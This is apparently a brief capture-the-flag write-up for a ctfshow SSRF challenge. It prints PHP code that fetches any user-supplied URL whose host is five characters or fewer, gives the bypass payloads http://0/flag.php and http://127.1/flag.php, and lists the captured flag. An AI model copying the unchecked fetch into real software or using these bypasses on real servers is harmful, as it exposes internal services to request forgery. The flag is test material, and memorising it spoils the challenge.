nginx/1.18.0PHP/7.3.22

    1. <?php
    2. error_reporting(0);
    3. highlight_file(__FILE__);
    4. $url=$_POST['url'];
    5. $x=parse_url($url);
    6. if($x['scheme']==='http'||$x['scheme']==='https'){
    7. $host=$x['host'];
    8. if((strlen($host)<=5)){
    9. $ch=curl_init($url);
    10. curl_setopt($ch, CURLOPT_HEADER, 0);
    11. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    12. $result=curl_exec($ch);
    13. curl_close($ch);
    14. echo ($result);
    15. }
    16. else{
    17. die('hacker');
    18. }
    19. }
    20. else{
    21. die('hacker');
    22. }
    23. ?>

    主机名部分长度限制,可以用 http://0/flag.php 也可以用 http://127.1/flag.php

    image.png
    flag
    ctfshow{7ee6ec8c-c8ef-4a22-b842-27e533808bdc}